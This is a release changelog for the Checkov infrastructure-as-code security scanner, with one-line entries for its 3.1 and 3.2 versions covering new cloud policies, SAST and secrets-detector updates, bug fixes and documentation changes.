[3.2.90](https://github.com/bridgecrewio/checkov/compare/3.2.85...3.2.90) - 2024-05-09\n\n### Feature\n\n- **general:** Add deep-analysis to GHA - [#6288](https://github.com/bridgecrewio/checkov/pull/6288)\n- **terraform:** Add more hype policies - [#6239](https://github.com/bridgecrewio/checkov/pull/6239)\n\n### Bug Fix\n\n- **ansible:** fix ansible definitions raw type - [#6292](https://github.com/bridgecrewio/checkov/pull/6292)\n\n### Platform\n\n- **ansible:** add set definitions raw to ansible runner - [#6286](https://github.com/bridgecrewio/checkov/pull/6286)\n- **general:** Handle SAST suppressions (suppressions V2) - [#6109](https://github.com/bridgecrewio/checkov/pull/6109)\n\n### Documentation\n\n- **general:** add RENDER_EDGES_DUPLICATE_ITER_COUNT to docs - [#6291](https://github.com/bridgecrewio/checkov/pull/6291)\n- **general:** Update README links for PyPi - [#6231](https://github.com/bridgecrewio/checkov/pull/6231)\n\n## [3.2.85](https://github.com/bridgecrewio/checkov/compare/3.2.84...3.2.85) - 2024-05-08\n\n### Platform\n\n- **ansible:** add missing arg to ansible runner - [#6276](https://github.com/bridgecrewio/checkov/pull/6276)\n\n## [3.2.84](https://github.com/bridgecrewio/checkov/compare/3.2.82...3.2.84) - 2024-05-07\n\n### Feature\n\n- **sast:** Enable cdk ts integraion test - [#6158](https://github.com/bridgecrewio/checkov/pull/6158)\n\n### Bug Fix\n\n- **secrets:** add files for secret to skip - [#6275](https://github.com/bridgecrewio/checkov/pull/6275)\n- **terraform:** Update CKV_AWS_31 for RBAC - [#6224](https://github.com/bridgecrewio/checkov/pull/6224)\n\n## [3.2.82](https://github.com/bridgecrewio/checkov/compare/3.2.79...3.2.82) - 2024-05-06\n\n### Feature\n\n- **github:** add summary message in github_failed_only output - [#6131](https://github.com/bridgecrewio/checkov/pull/6131)\n- **sast:** add ts checks to python pack - [#6261](https://github.com/bridgecrewio/checkov/pull/6261)\n- **sast:** run all cdk integration test - [#6256](https://github.com/bridgecrewio/checkov/pull/6256)\n\n### Bug Fix\n\n- **general:** fix changed serif path - [#6251](https://github.com/bridgecrewio/checkov/pull/6251)\n\n## [3.2.79](https://github.com/bridgecrewio/checkov/compare/3.2.74...3.2.79) - 2024-05-02\n\n### Feature\n\n- **sast:** Add 10 TS CDK - [#6194](https://github.com/bridgecrewio/checkov/pull/6194)\n- **sast:** add typescript - DONT MERGE - [#6193](https://github.com/bridgecrewio/checkov/pull/6193)\n- **sast:** Filter js files generate by ts - [#6220](https://github.com/bridgecrewio/checkov/pull/6220)\n- **secrets:** bump bc-detect-secrets 1.5.9 - [#6205](https://github.com/bridgecrewio/checkov/pull/6205)\n- **terraform:** Add GCP policy - [#6177](https://github.com/bridgecrewio/checkov/pull/6177)\n- **terraform:** Add resource attributes to jsonify - [#6203](https://github.com/bridgecrewio/checkov/pull/6203)\n- **terraform:** Ensure dedicated data endpoints are enabled - [#6188](https://github.com/bridgecrewio/checkov/pull/6188)\n- **terraform:** support provider in tf_plan graph - [#6195](https://github.com/bridgecrewio/checkov/pull/6195)\n- **terraform:** Update CloudArmorWAFACLCVE202144228.py - [#6217](https://github.com/bridgecrewio/checkov/pull/6217)\n\n### Bug Fix\n\n- **general:** add print to random test - [#6229](https://github.com/bridgecrewio/checkov/pull/6229)\n- **general:** fix integration test in build - [#6227](https://github.com/bridgecrewio/checkov/pull/6227)\n- **general:** fix integration tests - [#6207](https://github.com/bridgecrewio/checkov/pull/6207)\n- **kubernetes:** Update checkov-job.yaml - [#5985](https://github.com/bridgecrewio/checkov/pull/5985)\n- **sca:** remove old test for the depracated workflow github-action - [#6232](https://github.com/bridgecrewio/checkov/pull/6232)\n- **terraform_plan:** Edges not created because of indexing in resource[\"address\"] when resources in modules use count - [#6145](https://github.com/bridgecrewio/checkov/pull/6145)\n- **terraform:** CKV_AWS_23 rule description fixed for clarity - [#5993](https://github.com/bridgecrewio/checkov/pull/5993)\n- **terraform:** Fix CKV_AWS_358 to handle plan files - [#6202](https://github.com/bridgecrewio/checkov/pull/6202)\n\n### Platform\n\n- **ansible:** add create_definitions function for ansible framework - [#6225](https://github.com/bridgecrewio/checkov/pull/6225)\n\n### Documentation\n\n- **general:** Fix docs html brackets - [#6051](https://github.com/bridgecrewio/checkov/pull/6051)\n- **general:** Remove Python 3.7 - [#6200](https://github.com/bridgecrewio/checkov/pull/6200)\n\n## [3.2.74](https://github.com/bridgecrewio/checkov/compare/3.2.73...3.2.74) - 2024-04-22\n\n### Feature\n\n- **general:** Update range includes to handle lists of ranges and lists of values - [#6192](https://github.com/bridgecrewio/checkov/pull/6192)\n\n## [3.2.73](https://github.com/bridgecrewio/checkov/compare/3.2.72...3.2.73) - 2024-04-21\n\n### Feature\n\n- **sast:** TypeScript cdk policies p7 - [#6186](https://github.com/bridgecrewio/checkov/pull/6186)\n\n## [3.2.72](https://github.com/bridgecrewio/checkov/compare/3.2.71...3.2.72) - 2024-04-19\n\n### Feature\n\n- **bicep:** Add bicep version of policy - [#6191](https://github.com/bridgecrewio/checkov/pull/6191)\n\n## [3.2.71](https://github.com/bridgecrewio/checkov/compare/3.2.70...3.2.71) - 2024-04-18\n\n### Feature\n\n- **sca:** support licenses custom policies enforcement rules - [#6173](https://github.com/bridgecrewio/checkov/pull/6173)\n\n## [3.2.70](https://github.com/bridgecrewio/checkov/compare/3.2.68...3.2.70) - 2024-04-17\n\n### Feature\n\n- **sast:** Add 5 cdk for TS - [#6179](https://github.com/bridgecrewio/checkov/pull/6179)\n\n### Bug Fix\n\n- **sast:** fix skipped_checks paths before upload to the platform - [#6183](https://github.com/bridgecrewio/checkov/pull/6183)\n\n## [3.2.68](https://github.com/bridgecrewio/checkov/compare/3.2.65...3.2.68) - 2024-04-16\n\n### Feature\n\n- **sast:** adding extended code block - [#6178](https://github.com/bridgecrewio/checkov/pull/6178)\n- **sca:** using the new api license/get-licenses-violations instead of packages/get-licenses-violations (which is deprecated) - [#6174](https://github.com/bridgecrewio/checkov/pull/6174)\n\n### Bug Fix\n\n- **sca:** Revert \"feat(sca): using the new api license/get-licenses-violations … - [#6176](https://github.com/bridgecrewio/checkov/pull/6176)\n\n## [3.2.65](https://github.com/bridgecrewio/checkov/compare/3.2.63...3.2.65) - 2024-04-15\n\n### Bug Fix\n\n- **sast:** save suppress_comment for sast inline suppressions - [#6171](https://github.com/bridgecrewio/checkov/pull/6171)\n- **secrets:** Azure Storage Key detector updates in bc-detect-secrets 1.5.7 - [#6168](https://github.com/bridgecrewio/checkov/pull/6168)\n\n## [3.2.63](https://github.com/bridgecrewio/checkov/compare/3.2.60...3.2.63) - 2024-04-14\n\n### Feature\n\n- **sast:** CDK TS policies p2 - [#6165](https://github.com/bridgecrewio/checkov/pull/6165)\n\n## [3.2.60](https://github.com/bridgecrewio/checkov/compare/3.2.55...3.2.60) - 2024-04-10\n\n### Feature\n\n- **sast:** Add TS CDK policies 1 - [#6151](https://github.com/bridgecrewio/checkov/pull/6151)\n- **sast:** CDK TS policies p3 - [#6157](https://github.com/bridgecrewio/checkov/pull/6157)\n\n### Bug Fix\n\n- **terraform:** Fix conditional expression evaluation logic with compare - [#6160](https://github.com/bridgecrewio/checkov/pull/6160)\n- **terraform:** Fixed flaky test for CKV_AWS_356 - [#6162](https://github.com/bridgecrewio/checkov/pull/6162)\n\n## [3.2.55](https://github.com/bridgecrewio/checkov/compare/3.2.53...3.2.55) - 2024-04-08\n\n### Feature\n\n- **sast:** Adding typescript cdk part 6 paz - [#6149](https://github.com/bridgecrewio/checkov/pull/6149)\n\n### Bug Fix\n\n- **sca:** enabling suppression in the cli-output for IR-files and dockerfiles - [#6148](https://github.com/bridgecrewio/checkov/pull/6148)\n\n## [3.2.53](https://github.com/bridgecrewio/checkov/compare/3.2.52...3.2.53) - 2024-04-03\n\n### Feature\n\n- **terraform:** support s3 bucket name for references in graph - [#6134](https://github.com/bridgecrewio/checkov/pull/6134)\n\n## [3.2.52](https://github.com/bridgecrewio/checkov/compare/3.2.51...3.2.52) - 2024-04-03\n\n### Feature\n\n- **general:** Update the releases' zip file names to be generic - [#6141](https://github.com/bridgecrewio/checkov/pull/6141)\n\n## [3.2.51](https://github.com/bridgecrewio/checkov/compare/3.2.50...3.2.51) - 2024-04-02\n\n### Feature\n\n- **general:** add policy metadata filter exception flag - [#6132](https://github.com/bridgecrewio/checkov/pull/6132)\n\n## [3.2.50](https://github.com/bridgecrewio/checkov/compare/3.2.49...3.2.50) - 2024-03-31\n\n### Bug Fix\n\n- **general:** remove limitation of resource and provider in tf.json file - [#6133](https://github.com/bridgecrewio/checkov/pull/6133)\n\n## [3.2.49](https://github.com/bridgecrewio/checkov/compare/3.2.47...3.2.49) - 2024-03-28\n\n### Bug Fix\n\n- **general:** pin the version of schema to <=0.7.5 - [#6125](https://github.com/bridgecrewio/checkov/pull/6125)\n\n## [3.2.47](https://github.com/bridgecrewio/checkov/compare/3.2.45...3.2.47) - 2024-03-26\n\n### Feature\n\n- **secrets:** bump manually bc-detect-secrets - [#6120](https://github.com/bridgecrewio/checkov/pull/6120)\n- **terraform:** add fix for when tf_def is a string - [#6121](https://github.com/bridgecrewio/checkov/pull/6121)\n\n## [3.2.45](https://github.com/bridgecrewio/checkov/compare/3.2.44...3.2.45) - 2024-03-25\n\n### Feature\n\n- **terraform:** fix for_each resource handling - [#6119](https://github.com/bridgecrewio/checkov/pull/6119)\n\n## [3.2.44](https://github.com/bridgecrewio/checkov/compare/3.2.43...3.2.44) - 2024-03-24\n\n### Bug Fix\n\n- **sca:** Fix suppression integration crashing if licenseTypes is missing - [#6117](https://github.com/bridgecrewio/checkov/pull/6117)\n\n## [3.2.43](https://github.com/bridgecrewio/checkov/compare/3.2.42...3.2.43) - 2024-03-21\n\n### Bug Fix\n\n- **terraform:** Fixed bug in evaluate_conditional_expression and added zipmap support - [#6106](https://github.com/bridgecrewio/checkov/pull/6106)\n\n## [3.2.42](https://github.com/bridgecrewio/checkov/compare/3.2.39...3.2.42) - 2024-03-20\n\n### Feature\n\n- **sast:** support sast skipped checks - [#6095](https://github.com/bridgecrewio/checkov/pull/6095)\n\n### Bug Fix\n\n- **secrets:** ignore secret check in test file - [#6105](https://github.com/bridgecrewio/checkov/pull/6105)\n\n### Platform\n\n- **general:** handle API errors with more detail - [#6107](https://github.com/bridgecrewio/checkov/pull/6107)\n\n## [3.2.39](https://github.com/bridgecrewio/checkov/compare/3.2.38...3.2.39) - 2024-03-17\n\n### Feature\n\n- **secrets:** fix entropy detector FP - [#6090](https://github.com/bridgecrewio/checkov/pull/6090)\n\n## [3.2.38](https://github.com/bridgecrewio/checkov/compare/3.2.37...3.2.38) - 2024-03-14\n\n### Bug Fix\n\n- **terraform:** prevent side effects when updating variable rendering - [#6087](https://github.com/bridgecrewio/checkov/pull/6087)\n\n## [3.2.37](https://github.com/bridgecrewio/checkov/compare/3.2.36...3.2.37) - 2024-03-13\n\n### Feature\n\n- **terraform:** connect module resource to provider - [#6083](https://github.com/bridgecrewio/checkov/pull/6083)\n\n## [3.2.36](https://github.com/bridgecrewio/checkov/compare/3.2.35...3.2.36) - 2024-03-12\n\n### Bug Fix\n\n- **gha:** make sure to have prisma url - [#6084](https://github.com/bridgecrewio/checkov/pull/6084)\n\n## [3.2.35](https://github.com/bridgecrewio/checkov/compare/3.2.34...3.2.35) - 2024-03-11\n\n### Feature\n\n- **general:** add policy name and guidelines to CSV output - [#6082](https://github.com/bridgecrewio/checkov/pull/6082)\n\n### Bug Fix\n\n- **sast:** add attribute verification - [#6078](https://github.com/bridgecrewio/checkov/pull/6078)\n\n## [3.2.34](https://github.com/bridgecrewio/checkov/compare/3.2.33...3.2.34) - 2024-03-10\n\n### Bug Fix\n\n- **terraform:** Dont duplicate more vertices than needed for nested modules with large count/for each values + used cache to avoid extensive usage of os.path.realpath to drastically improve performance - [#6072](https://github.com/bridgecrewio/checkov/pull/6072)\n\n## [3.2.33](https://github.com/bridgecrewio/checkov/compare/3.2.32...3.2.33) - 2024-03-08\n\n### Platform\n\n- **general:** improve upload failure logging and log size of failed files - [#6076](https://github.com/bridgecrewio/checkov/pull/6076)\n\n## [3.2.32](https://github.com/bridgecrewio/checkov/compare/3.2.31...3.2.32) - 2024-03-06\n\n### Bug Fix\n\n- **sast:** do not log warning when using skip framework - [#6066](https://github.com/bridgecrewio/checkov/pull/6066)\n\n## [3.2.31](https://github.com/bridgecrewio/checkov/compare/3.2.28...3.2.31) - 2024-03-04\n\n### Bug Fix\n\n- **terraform:** better handling of interpolation rendering in conditional expressions - [#6062](https://github.com/bridgecrewio/checkov/pull/6062)\n- **terraform:** Changed a couple of checks from negative to positive check, behavior is the same - [#6063](https://github.com/bridgecrewio/checkov/pull/6063)\n\n## [3.2.28](https://github.com/bridgecrewio/checkov/compare/3.2.26...3.2.28) - 2024-02-28\n\n### Bug Fix\n\n- **sca:** handling unknown severity  - [#6055](https://github.com/bridgecrewio/checkov/pull/6055)\n- **terraform:** Add Condition exceptions CKV_AWS_70 - [#6044](https://github.com/bridgecrewio/checkov/pull/6044)\n- **terraform:** Add k8s 1.29 to CKV_AWS_339 - [#6056](https://github.com/bridgecrewio/checkov/pull/6056)\n\n## [3.2.26](https://github.com/bridgecrewio/checkov/compare/3.2.25...3.2.26) - 2024-02-26\n\n### Bug Fix\n\n- **sast:** fetch sast custom policieis - [#6040](https://github.com/bridgecrewio/checkov/pull/6040)\n\n## [3.2.25](https://github.com/bridgecrewio/checkov/compare/3.2.24...3.2.25) - 2024-02-25\n\n### Feature\n\n- **terraform:** Added support for `try` function in evaluate_terraform - [#6043](https://github.com/bridgecrewio/checkov/pull/6043)\n\n## [3.2.24](https://github.com/bridgecrewio/checkov/compare/3.2.23...3.2.24) - 2024-02-22\n\n### Feature\n\n- **cloudformation:** add CFN policies for MSK - [#6021](https://github.com/bridgecrewio/checkov/pull/6021)\n\n## [3.2.23](https://github.com/bridgecrewio/checkov/compare/3.2.22...3.2.23) - 2024-02-21\n\n### Bug Fix\n\n- **terraform:** support vertex reference based on foreach key - [#6039](https://github.com/bridgecrewio/checkov/pull/6039)\n\n## [3.2.22](https://github.com/bridgecrewio/checkov/compare/3.2.21...3.2.22) - 2024-02-18\n\n### Bug Fix\n\n- **terraform:** CKV_AWS_308 - checked if caching was enabled and only then check for encryption of cache - [#6034](https://github.com/bridgecrewio/checkov/pull/6034)\n\n## [3.2.21](https://github.com/bridgecrewio/checkov/compare/3.2.20...3.2.21) - 2024-02-14\n\n### Bug Fix\n\n- **sast:** fix cdk checks path - [#6029](https://github.com/bridgecrewio/checkov/pull/6029)\n\n## [3.2.20](https://github.com/bridgecrewio/checkov/compare/3.2.19...3.2.20) - 2024-02-11\n\n### Bug Fix\n\n- **graph:** remove SCA runner v1 - re-enable - [#6024](https://github.com/bridgecrewio/checkov/pull/6024)\n\n## [3.2.19](https://github.com/bridgecrewio/checkov/compare/3.2.17...3.2.19) - 2024-02-08\n\n### Feature\n\n- **general:** Implement authentication retry mechanism  - [#6022](https://github.com/bridgecrewio/checkov/pull/6022)\n- **sast:** add danger rule - [#6012](https://github.com/bridgecrewio/checkov/pull/6012)\n\n## [3.2.17](https://github.com/bridgecrewio/checkov/compare/3.2.12...3.2.17) - 2024-02-07\n\n### Bug Fix\n\n- **general:** downgrade botocore dependency - [#6016](https://github.com/bridgecrewio/checkov/pull/6016)\n- **graph:** remove SCA runner v1 - [#6005](https://github.com/bridgecrewio/checkov/pull/6005)\n- **terraform:** Deleted deprecated check CKV_GCP_19 - [#6010](https://github.com/bridgecrewio/checkov/pull/6010)\n\n## [3.2.12](https://github.com/bridgecrewio/checkov/compare/3.2.8...3.2.12) - 2024-02-06\n\n### Bug Fix\n\n- **general:** downgrade boto3 - [#6011](https://github.com/bridgecrewio/checkov/pull/6011)\n- **terraform:** fix check CKV2_AZURE_10 - [#6009](https://github.com/bridgecrewio/checkov/pull/6009)\n\n## [3.2.8](https://github.com/bridgecrewio/checkov/compare/3.2.7...3.2.8) - 2024-02-05\n\n### Feature\n\n- **secrets:** bump bc-detect-secrets to version 1.5.4 - [#5998](https://github.com/bridgecrewio/checkov/pull/5998)\n\n## [3.2.7](https://github.com/bridgecrewio/checkov/compare/3.2.3...3.2.7) - 2024-02-04\n\n### Feature\n\n- **azure:** create arm check StorageAccountMinimumTlsVersion CKV_AZURE_236 - [#5986](https://github.com/bridgecrewio/checkov/pull/5986)\n- **sast:** add dataflow to output - [#5987](https://github.com/bridgecrewio/checkov/pull/5987)\n\n### Bug Fix\n\n- **terraform:** Correctly relace foreach_value inside _update_attributes for complex cases - [#5994](https://github.com/bridgecrewio/checkov/pull/5994)\n\n## [3.2.3](https://github.com/bridgecrewio/checkov/compare/3.2.2...3.2.3) - 2024-01-31\n\n### Bug Fix\n\n- **terraform:** find explicit lockout fail actions for s3 - [#5943](https://github.com/bridgecrewio/checkov/pull/5943)\n\n## [3.2.2](https://github.com/bridgecrewio/checkov/compare/3.2.1...3.2.2) - 2024-01-30\n\n### Feature\n\n- **sca:** persist support logs for sub processes - [#5988](https://github.com/bridgecrewio/checkov/pull/5988)\n\n## [3.2.1](https://github.com/bridgecrewio/checkov/compare/3.2.0...3.2.1) - 2024-01-29\n\n### Bug Fix\n\n- **sast:** summarize errors - [#5977](https://github.com/bridgecrewio/checkov/pull/5977)\n\n## [3.2.0](https://github.com/bridgecrewio/checkov/compare/3.1.70...3.2.0) - 2024-01-28\n\n### Bug Fix\n\n- **terraform:** and cdk/cloudformation: inconsistent naming of AWS resources in checks - [#5966](https://github.com/bridgecrewio/checkov/pull/5966)\n\n### Platform\n\n- **general:** remove igraph - [#5781](https://github.com/bridgecrewio/checkov/pull/5781)\n\n## [3.1.70](https://github.com/bridgecrewio/checkov/compare/3.1.69...3.1.70) - 2024-01-24\n\n### Bug Fix\n\n- **terraform:** Manually fixed test for loading terraform registry to be with commit hash instead of version tag - [#5971](https://github.com/bridgecrewio/checkov/pull/5971)\n\n## [3.1.69](https://github.com/bridgecrewio/checkov/compare/3.1.67...3.1.69) - 2024-01-22\n\n### Bug Fix\n\n- **sast:** replaced TBD with owasp and removed \"sast engine\" - [#5959](https://github.com/bridgecrewio/checkov/pull/5959)\n- **terraform:** External module test - [#5963](https://github.com/bridgecrewio/checkov/pull/5963)\n\n## [3.1.67](https://github.com/bridgecrewio/checkov/compare/3.1.66...3.1.67) - 2024-01-18\n\n### Feature\n\n- **sast:** Add policies to executable - [#5955](https://github.com/bridgecrewio/checkov/pull/5955)\n\n## [3.1.66](https://github.com/bridgecrewio/checkov/compare/3.1.63...3.1.66) - 2024-01-17\n\n### Bug Fix\n\n- **sast:** change the path for taint mode match - [#5953](https://github.com/bridgecrewio/checkov/pull/5953)\n- **sast:** fix report with only reachability - [#5951](https://github.com/bridgecrewio/checkov/pull/5951)\n\n### Platform\n\n- **general:** Change SAST enforcement rule to weaknesses - [#5950](https://github.com/bridgecrewio/checkov/pull/5950)\n- **general:** handle weaknesses rename - [#5954](https://github.com/bridgecrewio/checkov/pull/5954)\n\n## [3.1.63](https://github.com/bridgecrewio/checkov/compare/3.1.61...3.1.63) - 2024-01-16\n\n### Bug Fix\n\n- **sast:** Fix serialize for sast report with taint mode - [#5949](https://github.com/bridgecrewio/checkov/pull/5949)\n\n## [3.1.61](https://github.com/bridgecrewio/checkov/compare/3.1.60...3.1.61) - 2024-01-15\n\n### Bug Fix\n\n- **general:** allow colorama version >=0.4.3,<0.5.0 in setup - [#5944](https://github.com/bridgecrewio/checkov/pull/5944)\n\n## [3.1.60](https://github.com/bridgecrewio/checkov/compare/3.1.57...3.1.60) - 2024-01-14\n\n### Bug Fix\n\n- **sast:** fix relative paths in sast cdk reports - [#5932](https://github.com/bridgecrewio/checkov/pull/5932)\n- **sast:** fix sast cdk code location paths - [#5938](https://github.com/bridgecrewio/checkov/pull/5938)\n- **terraform:** CKV_GCP_79  Upgrade CloudSQL SQLSERVER major version to 2022 - [#5936](https://github.com/bridgecrewio/checkov/pull/5936)\n- **terraform:** Improved bad performance pathlib check - [#5939](https://github.com/bridgecrewio/checkov/pull/5939)\n\n## [3.1.57](https://github.com/bridgecrewio/checkov/compare/3.1.55...3.1.57) - 2024-01-10\n\n### Bug Fix\n\n- **general:** fix multiprocess abilities - [#5887](https://github.com/bridgecrewio/checkov/pull/5887)\n- **general:** fixing hidden dependencies & state breaking tests  - [#5911](https://github.com/bridgecrewio/checkov/pull/5911)\n- **general:** Reenabling cdk-integration-tests - [#5922](https://github.com/bridgecrewio/checkov/pull/5922)\n\n## [3.1.55](https://github.com/bridgecrewio/checkov/compare/3.1.54...3.1.55) - 2024-01-08\n\n### Bug Fix\n\n- **terraform:** Support \"pass_prefix_list\" for SG ingress rules correctly - [#5918](https://github.com/bridgecrewio/checkov/pull/5918)\n\n## [3.1.54](https://github.com/bridgecrewio/checkov/compare/3.1.53...3.1.54) - 2024-01-05\n\n### Bug Fix\n\n- **general:** temporary disable runtime config - [#5921](https://github.com/bridgecrewio/checkov/pull/5921)\n\n## [3.1.53](https://github.com/bridgecrewio/checkov/compare/3.1.51...3.1.53) - 2024-01-04\n\n### Feature\n\n- **terraform:** node pools should be configured separately from a cl… - [#5916](https://github.com/bridgecrewio/checkov/pull/5916)\n\n### Bug Fix\n\n- **terraform:** handle no action in aws_dlm_lifecycle_policy - [#5905](https://github.com/bridgecrewio/checkov/pull/5905)\n\n## [3.1.51](https://github.com/bridgecrewio/checkov/compare/3.1.50...3.1.51) - 2024-01-03\n\n- no noteworthy changes\n\n## [3.1.50](https://github.com/bridgecrewio/checkov/compare/3.1.46...3.1.50) - 2023-12-31\n\n### Feature\n\n- **sast:** Add sast metadata to sast report - [#5910](https://github.com/bridgecrewio/checkov/pull/5910)\n- **terraform:** Add various vertex related policies - [#5898](https://github.com/bridgecrewio/checkov/pull/5898)\n\n### Bug Fix\n\n- **sast:** persist empty sast report for cdk - [#5909](https://github.com/bridgecrewio/checkov/pull/5909)\n- **terraform:** Fix typo Customer Managed Key - [#5900](https://github.com/bridgecrewio/checkov/pull/5900)\n\n## [3.1.46](https://github.com/bridgecrewio/checkov/compare/3.1.44...3.1.46) - 2023-12-28\n\n### Feature\n\n- **terraform:** CLI output - add indication if repository was discovered In a running environment - [#5908](https://github.com/bridgecrewio/checkov/pull/5908)\n\n### Bug Fix\n\n- **sast:** add missing field in MatchMetadata - [#5907](https://github.com/bridgecrewio/checkov/pull/5907)\n\n## [3.1.44](https://github.com/bridgecrewio/checkov/compare/3.1.43...3.1.44) - 2023-12-26\n\n### Feature\n\n- **sast:** add dataflow to checkov report from sast - [#5892](https://github.com/bridgecrewio/checkov/pull/5892)\n\n## [3.1.43](https://github.com/bridgecrewio/checkov/compare/3.1.42...3.1.43) - 2023-12-24\n\n### Feature\n\n- **terraform:** add CKV2_AZURE_47, ensure storage account is configured without blob anonymous access - [#5888](https://github.com/bridgecrewio/checkov/pull/5888)\n- **terraform:** Ensure SES Configuration Set enforces TLS usage - [#5891](https://github.com/bridgecrewio/checkov/pull/5891)\n\n### Bug Fix\n\n- **terraform:** pod security policy removed in GKE 1.25 - [#5675](https://github.com/bridgecrewio/checkov/pull/5675)\n\n## [3.1.42](https://github.com/bridgecrewio/checkov/compare/3.1.40...3.1.42) - 2023-12-22\n\n### Feature\n\n- **sast:** Split sast and cdk reports - [#5889](https://github.com/bridgecrewio/checkov/pull/5889)\n\n### Bug Fix\n\n- **terraform:** Fix CKV_Azure_234 - [#5886](https://github.com/bridgecrewio/checkov/pull/5886)\n\n## [3.1.40](https://github.com/bridgecrewio/checkov/compare/3.1.38...3.1.40) - 2023-12-19\n\n### Feature\n\n- **terraform_plan:** Add PY graph checks for tf plan - [#5875](https://github.com/bridgecrewio/checkov/pull/5875)\n\n### Bug Fix\n\n- **terraform:** Remove CKV_AWS_188 as dupe - [#5884](https://github.com/bridgecrewio/checkov/pull/5884)\n\n## [3.1.38](https://github.com/bridgecrewio/checkov/compare/3.1.34...3.1.38) - 2023-12-13\n\n### Feature\n\n- **sast:** add integration test platform report - [#5856](https://github.com/bridgecrewio/checkov/pull/5856)\n- **sast:** python Cdk policies batch 3 - [#5820](https://github.com/bridgecrewio/checkov/pull/5820)\n- **sast:** python Cdk policies batch 4 - [#5857](https://github.com/bridgecrewio/checkov/pull/5857)\n\n### Bug Fix\n\n- **sast:** add save local sast report to run integration script - [#5863](https://github.com/bridgecrewio/checkov/pull/5863)\n\n## [3.1.34](https://github.com/bridgecrewio/checkov/compare/3.1.33...3.1.34) - 2023-12-12\n\n### Feature\n\n- **terraform:** Used parallel run to run all split_graph iterations - [#5840](https://github.com/bridgecrewio/checkov/pull/5840)\n\n## [3.1.33](https://github.com/bridgecrewio/checkov/compare/3.1.29...3.1.33) - 2023-12-11\n\n### Feature\n\n- **general:** anchor cyclonedx to last non breaking version - [#5846](https://github.com/bridgecrewio/checkov/pull/5846)\n- **general:** Revert pipfile lock changes - [#5848](https://github.com/bridgecrewio/checkov/pull/5848)\n- **sast:** add back commented checks - [#5851](https://github.com/bridgecrewio/checkov/pull/5851)\n\n### Bug Fix\n\n- **sast:** fix reachability with no regular matches - [#5847](https://github.com/bridgecrewio/checkov/pull/5847)\n- **sca:** not printing reachability data for lines without cves - [#5849](https://github.com/bridgecrewio/checkov/pull/5849)\n\n## [3.1.29](https://github.com/bridgecrewio/checkov/compare/3.1.27...3.1.29) - 2023-12-10\n\n### Feature\n\n- **terraform:** fix for check VPCPeeringRouteTableOverlyPermissive and add tests - [#5837](https://github.com/bridgecrewio/checkov/pull/5837)\n\n### Bug Fix\n\n- **sast:** fix sast report format - [#5811](https://github.com/bridgecrewio/checkov/pull/5811)\n\n## [3.1.27](https://github.com/bridgecrewio/checkov/compare/3.1.26...3.1.27) - 2023-12-07\n\n### Feature\n\n- **secrets:** used 10 characters in secret violation - [#5835](https://github.com/bridgecrewio/checkov/pull/5835)\n\n## [3.1.26](https://github.com/bridgecrewio/checkov/compare/3.1.24...3.1.26) - 2023-12-06\n\n### Bug Fix\n\n- **general:** check both path types for suppression - [#5834](https://github.com/bridgecrewio/checkov/pull/5834)\n- **terraform:** Fix range issue in OCI RDP check - [#5832](https://github.com/bridgecrewio/checkov/pull/5832)\n\n## [3.1.24](https://github.com/bridgecrewio/checkov/compare/3.1.21...3.1.24) - 2023-12-05\n\n### Bug Fix\n\n- **sca:** Update the log level of specific logs - [#5828](https://github.com/bridgecrewio/checkov/pull/5828)\n- **terraform:** CKV_GCP_26 Added additional google_compute_subnetwork purposes that do not support flow logs - [#5812](https://github.com/bridgecrewio/checkov/pull/5812)\n- **terraform:** Fix CKV_GCP_30 for unknown service account - [#5818](https://github.com/bridgecrewio/checkov/pull/5818)\n- **terraform:** Fixed to_dict of terraform block regarding source_module_object - [#5822](https://github.com/bridgecrewio/checkov/pull/5822)\n\n## [3.1.21](https://github.com/bridgecrewio/checkov/compare/3.1.20...3.1.21) - 2023-12-04\n\n### Feature\n\n- **ansible:** add CKV_PAN_17 - Check for src and dst zone any - [#5803](https://github.com/bridgecrewio/checkov/pull/5803)\n- **sast:** sast enabled from integration - [#5780](https://github.com/bridgecrewio/checkov/pull/5780)\n- **terraform:** Adding Python based build time policies for corresponding PC runtime policies - [#5762](https://github.com/bridgecrewio/checkov/pull/5762)\n- **terraform:** Adding YAML based build time policies for corresponding PC runtime policies  - [#5810](https://github.com/bridgecrewio/checkov/pull/5810)\n\n## [3.1.20](https://github.com/bridgecrewio/checkov/compare/3.1.19...3.1.20) - 2023-11-30\n\n### Platform\n\n- **general:** handle the updated on prem response from the platform - [#5809](https://github.com/bridgecrewio/checkov/pull/5809)\n\n## [3.1.19](https://github.com/bridgecrewio/checkov/compare/3.1.18...3.1.19) - 2023-11-29\n\n### Feature\n\n- **sca:** Using alias data from assets.json for giving Package Used indication for aliased packages - [#5808](https://github.com/bridgecrewio/checkov/pull/5808)\n\n## [3.1.18](https://github.com/bridgecrewio/checkov/compare/3.1.17...3.1.18) - 2023-11-28\n\n### Bug Fix\n\n- **terraform:** Add source_module_object to blocks from_dict func - [#5806](https://github.com/bridgecrewio/checkov/pull/5806)\n\n## [3.1.17](https://github.com/bridgecrewio/checkov/compare/3.1.15...3.1.17) - 2023-11-27\n\n### Feature\n\n- **ansible:** PAN-OS IPsec checks - [#5802](https://github.com/bridgecrewio/checkov/pull/5802)\n\n## [3.1.15](https://github.com/bridgecrewio/checkov/compare/3.1.11...3.1.15) - 2023-11-26\n\n### Feature\n\n- **ansible:** add CKV_PAN_16 PAN-OS BPA Check for session log at start - [#5794](https://github.com/bridgecrewio/checkov/pull/5794)\n- **sast:** Add alias data to imports assets - [#5788](https://github.com/bridgecrewio/checkov/pull/5788)\n\n### Bug Fix\n\n- **bicep:** Update AppServiceHttps20Enabled to consider newer ApiVersion - [#5795](https://github.com/bridgecrewio/checkov/pull/5795)\n\n## [3.1.11](https://github.com/bridgecrewio/checkov/compare/3.1.9...3.1.11) - 2023-11-23\n\n### Bug Fix\n\n- **general:** Policy metadata API fixes - [#5761](https://github.com/bridgecrewio/checkov/pull/5761)\n\n## [3.1.9](https://github.com/bridgecrewio/checkov/compare/3.1.4...3.1.9) - 2023-11-21\n\n### Bug Fix\n\n- **gha:** Update GitHub Actions Workflow Schema #5742 - [#5759](https://github.com/bridgecrewio/checkov/pull/5759)\n- **terraform_plan:** load terraform registry checks when using terraform plan - [#5778](https://github.com/bridgecrewio/checkov/pull/5778)\n- **terraform:** Ensure HTTPS in Azure Function App and App Slots - [#5766](https://github.com/bridgecrewio/checkov/pull/5766)\n\n### Platform\n\n- **general:** do not display an auth error when the runconfig endpoint returns a 500 - [#5779](https://github.com/bridgecrewio/checkov/pull/5779)\n\n## [3.1.4](https://github.com/bridgecrewio/checkov/compare/3.0.40...3.1.4) - 